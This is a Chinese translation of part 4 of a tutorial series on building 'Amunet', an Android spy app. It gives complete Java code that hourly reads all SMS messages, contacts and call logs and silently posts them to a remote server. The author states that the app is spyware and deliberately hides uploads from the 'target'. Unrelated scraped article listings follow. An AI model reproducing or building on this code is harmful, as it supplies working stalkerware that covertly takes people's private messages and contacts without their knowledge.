建立一个类似于天眼的Android应用程序:第4部分 - 持久收集联系人,通话记录和短信(SMS)
建立一个类似于天眼的Android应用程序:第4部分 - 持久收集联系人,通话记录和短信(SMS)
随着我们继续我们的系列,AMUNET应用程序变得复杂,需要了解新的功能和结构。我们将继续前进。如前面教程中所述,该应用程序并不完全存在,因为我在分享之前构建了它们,如果在教程出来之前时间很长的话请原谅我。我需要确保一切顺利。
以前的教程
以下是截止到目前为止所涵盖的教程。
1.Amunet简介
2.获取已安装的应用
常问问题
我一直在接受读者提问,这些问题最为普遍。
问:如何在我的localhost上收集信息
答:本教程不限制您使用测试服务器。如前所述,只需更改Configuration.java中的服务器端点(IP地址),并确保您的服务器接受传递的POST参数。
问:我可以获取测试服务器的源代码(PHP)
答:绝对不可以。
问:我的数据存储在测试服务器上的哪个位置?
答:我是隐私和数据保护的忠实粉丝。话虽如此,发送到测试服务器的每个数据都是加密的(用户名和密码)。我使用bcrypt保护机密信息,因此,我可以访问存储在服务器上但不能解密或读取它们的信息。只有合适的用户才可以。
问:我是否会为使用测试服务器付费?
答:当然不用。该服务器仅用于帮助完成本教程。无需支付任何费用。这是出于善意而建立的。
问:什么是API auth关键的东西?
答:API Auth密钥可帮助服务器识别正确的用户。没有它,任何发送的数据都将被拒绝。
问:我是否需要本地服务器上的API身份验证密钥?
A:不,请。您不需要本地服务器上的身份验证密钥。您只需要接受Volley发送的POST参数即可。
今天的教程
在今天的教程中,我们将持续收集有关手机上联系人,通话记录和短信(短信)的信息。从某种意义上说,我们将把代码放在定期运行(不时,间隔)的服务中,并确保我们拥有最新的信息。您可以将间隔设置为从一分钟到一天中任何一小时的任何值。
继续上一个教程,我们再添加一个按钮,触发目标设备上的监控。让我们转到我们的content_dashboard.xml并添加按钮。
<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
app:layout_behavior="@string/appbar_scrolling_view_behavior"
tools:context=".Dashboard"
tools:showIn="@layout/activity_dashboard">
<android.support.v7.widget.RecyclerView
android:layout_width="match_parent"
android:layout_above="@id/service_monitor_button"
android:id="@+id/dashboard_recycler_view"
android:layout_height="match_parent" />
<Button
android:layout_width="match_parent"
android:text="Start MONITORING"
android:padding="10dp"
android:id="@+id/service_monitor_button"
android:textColor="@android:color/white"
android:background="@color/colorPrimary"
style="@style/Base.Widget.AppCompat.Button.Borderless"
android:layout_alignParentBottom="true"
android:layout_height="wrap_content" />
</RelativeLayout>
使用布局中声明的按钮,让我们在Dashboard.java文件中声明。 在公共类Dashboard ...语句下面,声明按钮。
public class Dashboard extends AppCompatActivity {
private RecyclerView recyclerView;
private List<RecyclerJava> recyclerJavaList = new ArrayList<>();
private RecyclerAdapter recyclerAdapter;
private Button service_monitor_btn; // New added button declaration
protected static final int GPS_REQUEST_CODE = 5000;
protected static final int CONTACTS_REQUEST_CODE = 5001;
protected static final int CALENDAR_REQUEST_CODE = 5002;
protected static final int MIC_REQUEST_CODE = 5003;
protected static final int CAMERA_REQUEST_CODE = 5004;
protected static final int STORAGE_REQUEST_CODE = 5005;
protected static final int SMS_REQUEST_CODE = 5006;
ONCREATE METHOD
ONCREATE方法
声明我们的按钮后,让我们滚动到onCreate方法并设置对我们按钮的引用并设置单击侦听器。
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_dashboard);
Toolbar toolbar = findViewById(R.id.dashboard_toolbar);
setSupportActionBar(toolbar);
recyclerView = findViewById(R.id.dashboard_recycler_view);
recyclerAdapter = new RecyclerAdapter(recyclerJavaList);
RecyclerView.LayoutManager mLayoutManager = new LinearLayoutManager(getApplicationContext());
recyclerView.setLayoutManager(mLayoutManager);
recyclerView.setItemAnimator(new DefaultItemAnimator());
recyclerView.addItemDecoration(new DividerItemDecoration(Dashboard.this, LinearLayoutManager.VERTICAL));
// Finding the button
service_monitor_btn = findViewById(R.id.service_monitor_button);
// Checking if our TimerService is running
if(MyServiceIsRunning(TimerService.class)) {
service_monitor_btn.setText("STOP MONITORING");
} else {
service_monitor_btn.setText("START MONITORING");
}
// Setting a click listener on the button
service_monitor_btn.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
if(MyServiceIsRunning(TimerService.class)) {
Log.i("0x00sec", "Stopping Service ...");
stopService(new Intent(Dashboard.this, TimerService.class));
service_monitor_btn.setText("START MONITORING");
} else {
Log.i("0x00sec", "Starting Service ...");
startService(new Intent(Dashboard.this, TimerService.class));
service_monitor_btn.setText("STOP MONITORING");
}
}
});
updateRecycler();
}
1 - 我们将按钮分配给布局文件中的视图对象。
2 - MyServiceIsRunning是一种检查服务是否正在运行的方法。 我们希望按钮上的文本设置为在服务运行时停止,并在服务未运行时启动。
3 - 要检查的服务是TimerService.class。 其功能是设置一个重复报警功能,调用广播接收器向服务器发送信息。 让我们一点一点地接受它。
MYSERVICEISRUNNING
解释此方法接受服务参数并检查服务是否正在运行并返回一个布尔值(true / false)
private boolean MyServiceIsRunning(Class<?> serviceClass) {
ActivityManager manager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
for (ActivityManager.RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) {
if (serviceClass.getName().equals(service.service.getClassName())) {
return true;
}
}
return false;
}
计时的服务
此服务启动一个调用广播接收器的重复警报(警报管理器)。 接收器然后开始上传信息。 创建一个新的java类并将其扩展到Service类。
让我们开始code:
import android.app.AlarmManager;
import android.app.PendingIntent;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.os.IBinder;
import android.os.SystemClock;
import android.support.annotation.Nullable;
import android.util.Log;
public class TimerService extends Service {
@Override
public void onCreate() {
super.onCreate();
AlarmManager alarmManager = (AlarmManager) getSystemService(Context.ALARM_SERVICE);
Intent intent = new Intent(TimerService.this, ServerUpdateReceiver.class);
PendingIntent pendingIntent = PendingIntent.getBroadcast(this,0,intent, 0);
alarmManager.setRepeating(AlarmManager.ELAPSED_REALTIME_WAKEUP,
SystemClock.elapsedRealtime(),
AlarmManager.INTERVAL_HOUR,
pendingIntent);
// stopSelf(); // Optional
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
return super.onStartCommand(intent, flags, startId);
}
@Override
public void onDestroy() { // Stop Service
super.onDestroy();
}
@Nullable
@Override
public IBinder onBind(Intent intent) {
return null;
}
}
唯一重要的方法是onCreate方法。
使用AlarmManager,我们安排重复警报来调用ServerUpdateReceiver.class(广播接收器)。数据可以通过intent.putExtra调用传递给接收者,但我们现在不会传递任何数据。
需要注意的另一件事是AlarmManager.INTERVAL_HOUR。这段参数(以毫秒为单位)是警报的间隔。最小值是60秒(1分钟 - 60000毫秒),你不能在下面设置。如果将其设置为低于60秒,Android将强制将其设置为一分钟。我们将接收器配置为每小时调用一次。建议甚至增加一点,因为频繁的调用可以调用应用程序崩溃,电池耗尽或在内存不足的情况下杀死我们的应用程序。
我完全清楚,在发送数据之前,我们不会检查手机是否已连接到互联网。我们稍后会修复,但同时我们必须确保手机已连接到互联网。没有互联网连接的重复呼叫将导致应用暂时崩溃。暂时因为警报呼叫将再次被触发,而警报呼叫将再次呼叫我们的接收器。持续重复。
服务更新接收器(广播)
该接收器只是将定期数据发送到我们定义的服如果未授予权限,则不会调用适当的方法,因为android不允许我们收集我们无权访问的数据。
创建一个java类并将其扩展到BroadcastReceiver类。
请记住,如果您没有根据教程中的对象命名对象,请确保根据代码替换它们。
BroadcastReceiver唯一需要的方法是onReceive Override方法。 你的代码应该是这样的:
public class ServerUpdateReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
}
}
在public class语句下面,让我们声明一个Context。 有了这个,所有其他方法都可以访问它。
public class ServerUpdateReceiver extends BroadcastReceiver {
Context context;
...
开展方法
在该方法中,我们首先检查是否授予了权限,然后调用适当的方法。 本教程将介绍联系人,通话记录和短信。
@Override
public void onReceive(Context context, Intent intent) {
this.context = context;
if(ActivityCompat.checkSelfPermission(context, Manifest.permission.READ_SMS) == PackageManager.PERMISSION_GRANTED) {
new Thread(new Runnable() {
@Override
public void run() {
update_Server_SMS();
}
}).start();
}
if(ActivityCompat.checkSelfPermission(context, Manifest.permission.READ_CONTACTS) == PackageManager.PERMISSION_GRANTED) {
new Thread(new Runnable() {
@Override
public void run() {
update_Server_Contacts();
update_Server_Call_Logs();
}
}).start();
}
}
将SMS消息发送到服务器的方法是update_Server_SMS,负责发送联系信息和调用日志的方法是update_Server_Call_Logs和update_Server_Contacts。
而不是使用不同的方法来处理与服务器的通信。 我们将创建一个接受POST参数和处理程序通信的方法。 有了这个,类中的所有方法都可以通过调用它并传递它们的参数来进行外部通信。
UPDATE_SERVER方法
更新服务器是处理与服务器的通信的方法。 它接受POST参数并发送它们。
private void update_Server(final Map<String, String> params) {
RequestQueue requestQueue = Volley.newRequestQueue(context);
StringRequest serverRequest = new StringRequest(Request.Method.POST, Configuration.getApp_auth(), new Response.Listener<String>() {
@Override
public void onResponse(String req) {
}
}, new Response.ErrorListener() {
@Override
public void onErrorResponse(VolleyError error) {
}
}) {
protected Map<String, String> getParams() {
return params;
}
};
requestQueue.add(serverRequest);
}
由于这个类是非UI(呃,也许可以做很少的UI工作,如通知等),我们不想推送如上传完成的任何通知,因为它是间谍应用程序:我们让目标不想知道已发送的信息的。 尽可能的安静。 因此,我们不在此处包含任何UI代码。 由于我们也不知道我们的数据是否已保存,因此我们确保服务器正确接收数据。 继续 …
UPDATE_SERVER_SMS
此方法读取电话的SMS数据库(收件箱,草稿,已发送),并通过update_Server方法将它们发送到服务器。
private void update_Server_SMS() {
SharedPreferences sharedPreferences = context.getSharedPreferences("Auth", Context.MODE_PRIVATE);
final String auth_key = sharedPreferences.getString("auth_key", null);
try {
Uri uriSMSURI = Uri.parse("content://sms");
Cursor cursor = context.getContentResolver().query(uriSMSURI, null, null, null,null);
while (cursor.moveToNext()) {
String address = cursor.getString(cursor.getColumnIndexOrThrow("address")).toString();
String message = cursor.getString(cursor.getColumnIndexOrThrow("body")).toString();
String date = cursor.getString(cursor.getColumnIndexOrThrow("date")).toString();
String read = cursor.getString(cursor.getColumnIndexOrThrow("read")).toString();
String type = cursor.getString(cursor.getColumnIndexOrThrow("type")).toString();
String id = cursor.getString(cursor.getColumnIndexOrThrow("_id")).toString();
if(read.equals("0")) { read = "no"; } else { read = "yes"; }
if(type.equals("1")) { type = "inbox"; } else if(type.equals("2")) { type = "sent"; } else { type = "draft"; }
date = get_Long_Date(date);
// THIS IS HOW TO CREATE THE POST PARAMETERS ( MAP ARRAY )
Map<String, String> params = new HashMap<>();
params.put("address", address);
params.put("message", message);
params.put("date", date);
params.put("read", read);
params.put("id", id);
params.put("type", type);
params.put("auth", auth_key);
update_Server(params);
}
} catch (Exception e) {
}
}
content:// sms - 允许我们遍历整个SMS数据库,而不是将自己限制在收件箱,草稿或已发送的邮件中。
cursor.getColumnIndexOrThrow - 允许我们获取光标的相应列索引。 请注意,输入错误的列名将导致应用程序崩溃。 这些是列的含义。
地址 - 电话号码
消息 - 消息的内容
日期 - 消息的时间
读 - 消息状态(0 - 不读,1 - 读)
类型 - 消息类型(1 - 收件箱,2 - 发件箱,3 - 草稿(猜测工作))
- id - 唯一的消息标识符
使用get_Long_Date将日期构造成人类可读的。
- 然后我们构造POST参数并调用update_Server方法来传递信息。
然后服务器应该收到类似$ _POST ['address'] && $ _POST ['message']的内容......
GET_LONG_DATE方法
接受并将传递的参数转换为可读参数。
private String get_Long_Date(String date) {
Long timestamp = Long.parseLong(date);
Calendar calendar = Calendar.getInstance();
calendar.setTimeInMillis(timestamp);
DateFormat formatter = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
return formatter.format(calendar.getTime());
}
UPDATE_SERVER_CONTACTS
这个方法与上面的方法一样,遍历Contact数据库,获取信息并发送它。
private void update_Server_Contacts() {
SharedPreferences sharedPreferences = context.getSharedPreferences("Auth", Context.MODE_PRIVATE);
final String auth_key = sharedPreferences.getString("auth_key", null);
Cursor cursor = context.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI,null,
null, null, null);
while (cursor.moveToNext()) {
try{
String contactId = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts._ID));
String name=cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME));
String phoneNumber = null;
if (Integer.parseInt(cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.HAS_PHONE_NUMBER))) > 0) {
Cursor phones = context.getContentResolver().query( ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, ContactsContract.CommonDataKinds.Phone.CONTACT_ID +" = "+ contactId, null, null);
while (phones.moveToNext()) {
phoneNumber = phones.getString(phones.getColumnIndex( ContactsContract.CommonDataKinds.Phone.NUMBER));
break;
}
phones.close();
if(phoneNumber != null) {
Map<String, String> params = new HashMap<>();
params.put("contact_name", name);
params.put("contact_phone", phoneNumber);
params.put("auth", auth_key);
update_Server(params);
}
}
}catch(Exception e) {
}
}
}
同样,更改ColumnIndex将导致应用程序崩溃。 它们是不变的价值观。
UPDATE_SERVER_CALL_LOGS
方法就像其他两个循环通过调用日志数据库并获取信息。
@SuppressLint("MissingPermission")
private void update_Server_Call_Logs() {
SharedPreferences sharedPreferences = context.getSharedPreferences("Auth", Context.MODE_PRIVATE);
final String auth_key = sharedPreferences.getString("auth_key", null);
Cursor cursor = context.getContentResolver().query(CallLog.Calls.CONTENT_URI, null, null, null, null);
int phone_number = cursor.getColumnIndex(CallLog.Calls.NUMBER);
int type = cursor.getColumnIndex(CallLog.Calls.TYPE);
int date = cursor.getColumnIndex(CallLog.Calls.DATE);
int duration = cursor.getColumnIndex(CallLog.Calls.DURATION);
while (cursor.moveToNext()) {
String number = cursor.getString(phone_number);
String call_type = cursor.getString(type);
String call_date = get_Long_Date(cursor.getString(date));
String call_duration = cursor.getString(duration);
int call_code = Integer.parseInt(call_type);
switch (call_code) {
case CallLog.Calls.OUTGOING_TYPE:
call_type = "OUTGOING";
break;
case CallLog.Calls.INCOMING_TYPE:
call_type = "INCOMING";
break;
case CallLog.Calls.MISSED_TYPE:
call_type = "MISSED";
break;
}
Map<String, String> params = new HashMap<>();
params.put("phone_number", number);
params.put("call_date", call_date);
params.put("call_type", call_type);
params.put("call_duration", call_duration);
params.put("auth", auth_key);
update_Server(params);
}
cursor.close();
}
我们已完成本教程。 在我们超越自我之前。 我花了几天时间才意识到我忘记添加适当的呼叫日志权限,尽管我们已经在上一个教程中添加了它们。 没有READ_CALL_LOGS和WRITE_CALL_LOGS权限。 我们无法访问通话记录。 让我们将它们添加到AndroidManifest.xml。
<uses-permission android:name="android.permission.READ_CALL_LOG" />
<uses-permission android:name="android.permission.WRITE_CALL_LOG" />
现在来吧,运行你的Android应用程序。 允许权限并开始监控。 您的数据应该发送到测试服务器(如果您使用我的测试服务器)。
结论
我喜欢你的贡献,建议,反馈,评论家等任何有助于该系列。
如果遇到问题,可以直接将项目导入Android工作室。
检查github repo:https://github.com/sergeantexploiter/Amunet
期待下次再遇见!
作者:sergeantsploit
翻译:i春秋翻译小组-Neo(李皓伟)
大家有任何问题可以提问,更多文章可到i春秋论坛阅读哟~
建立一个类似于天眼的Android应用程序:第4部分 - 持久收集联系人,通话记录和短信(SMS)的更多相关文章
- Android通讯录管理(获取联系人、通话记录、短信消息)
前言:前阵子主要是记录了如何对联系人的一些操作,比如搜索,全选.反选和删除等在实际开发中可能需要实现的功能,本篇博客是小巫从一个别人开源的一个项目抽取出来的部分内容,把它给简化出来,可以让需要的朋友清 ...
- Django 学习笔记之六 建立一个简单的博客应用程序
最近在学习django时建立了一个简单的博客应用程序,现在把简单的步骤说一下.本人的用的版本是python 2.7.3和django 1.10.3,Windows10系统 1.首先通过命令建立项目和a ...
- 构建一个Gods Eye Android应用程序:第1部分 – 收集已安装的Android应用程序
首先问候一下我的黑客伙伴们,在之前的Introduction to Amunet 教程中,我们了解到Amunet可能是一个间谍Android应用程序. 我不浪费太多时间因而直入主题. 在本教程中,我们 ...
- 如何指定一个和你的Android应用程序相适配的屏幕配置
原文:http://android.eoe.cn/topic/android_sdk 描述: 指定每个与该应用程序兼容的屏幕配置.一个配置清单中只能有一个标签的实例,但是它能够包含多个元素.每个元素指 ...
- VS2015 建立一个C++的MFC简易窗体程序项目
一开始建立的窗体工程都是带很多窗口,而且自己拉到窗体的控件,一调试就看不到了,是因为新建立工程项目时勾选了太多其他的了,这里记录分享一下建立一个单纯的窗体程序项目步骤给有需要的人也可以学习. 第一步: ...
- Android 程式开发:(廿一)消息传递 —— 21.3 使用Intent发送短信
使用SmsManager类,可以在自己编写的程序内部发送短信,而不需要调用系统的短信应用. 然而,有的时候调用系统内置的短信应用会更加方便. 这时,需要使用一个MIME类型为vnd.android-d ...
- Android学习小Demo(19)利用Loader来实时接收短信
之前写过一篇文章<Android学习小Demo(13)Android中关于ContentObserver的使用>,在里面利用ContentOberver去监測短信URI内容的变化.我们先来 ...
- Android(java)学习笔记248:ContentProvider使用之虚拟短信
1.虚拟短信应用场景: 急着脱身?应付老婆(老公.男女朋友查岗)? 使用虚拟通话短信吧.您只需通过简单设置,软件就会在指定时间会模拟一个“真实”来电或短信来迷惑对方,通过“真实”的证据让对方相 ...
- android菜鸟学习笔记23----ContentProvider(三)利用内置ContentProvider监听短信及查看联系人
要使用一个ContentProvider,必须要知道的是它所能匹配的Uri及其数据存储的表的结构. 首先想办法找到访问短信及联系人数据的ContentProvider能接受的Uri: 到github上 ...
随机推荐
- dir函数
dir函数: dir() 是一个内置函数,用于列出对象的所有属性及方法 下面进行尝试: 用下面两个tests test2文件做实验 #创建一个类,两个常量,类中函数test1,类中属性, class ...
- Fiddler使用
1.下载安装 百度下载后,傻瓜式安装. 2.设置 Tools->options->https->选中"Decrpt HTTPS traffic"(Fiddler就 ...
- 即时通信 选择UDP还是TCP协议
之前做过局域网的聊天软件,现在要做运行在广域网的聊天软件.开始接触网络编程,首先是接触到TCP和UDP协议 在网上查资料,都是这样描述 TCP面向连接,可靠,数据流 .UDP无连接,不可靠,数据报.但 ...
- mysql修改EST时区,mysql时间修改
方法有两种 ###第一种 select NOW();show variables like "%time_zone%"; ##一:通过sql命令临时修改 set global ti ...
- Java 集合类实现原理
转载自:http://blog.csdn.net/qq_25868207/article/details/55259978 :##ArrayList实现原理要点概括 参考文献:http://zhang ...
- Python设计模式 - UML - 用例图(Use Case Diagram)
简介 用例图主要是从用户的角度出发对软件产品的功能及执行者进行描述的. 用例图是从需求分析到软件交付的第一步,图示化展示参与者与参与者之间.参与者与用例之间.用例与用例之间的关系,帮助开发人员更好的理 ...
- js监控鼠标滚动事件
//滚动动画 windowAddMouseWheel(); function windowAddMouseWheel() { var scrollFunc = function (e) { e = e ...
- 【转载】我为什么弃用OpenStack转向VMware vsphere
我为什么弃用OpenStack转向VMware Vsphere,一切皆为简单.高效.因为我们在工作过程中涉及到大量的测试工作,每天都有成百个虚拟机的创建和销毁工作. 工作任务非常繁重,我们的持续集成平 ...
- Entity Framework Core: A second operation started on this context before a previous operation completed
我这边报错是因为函数声明的是async void 而实现中有多个task任务,导致的线程不安全
- python基础之Day7part1集合
一.集合 1.定义 s=set() 2.特点 每个元素必须是不可变类型,但集合本身是可变类型的,有add和remove等功能 3.用途 去重(原理:for循环if判断元素是否已存在,不存在则追加) 关 ...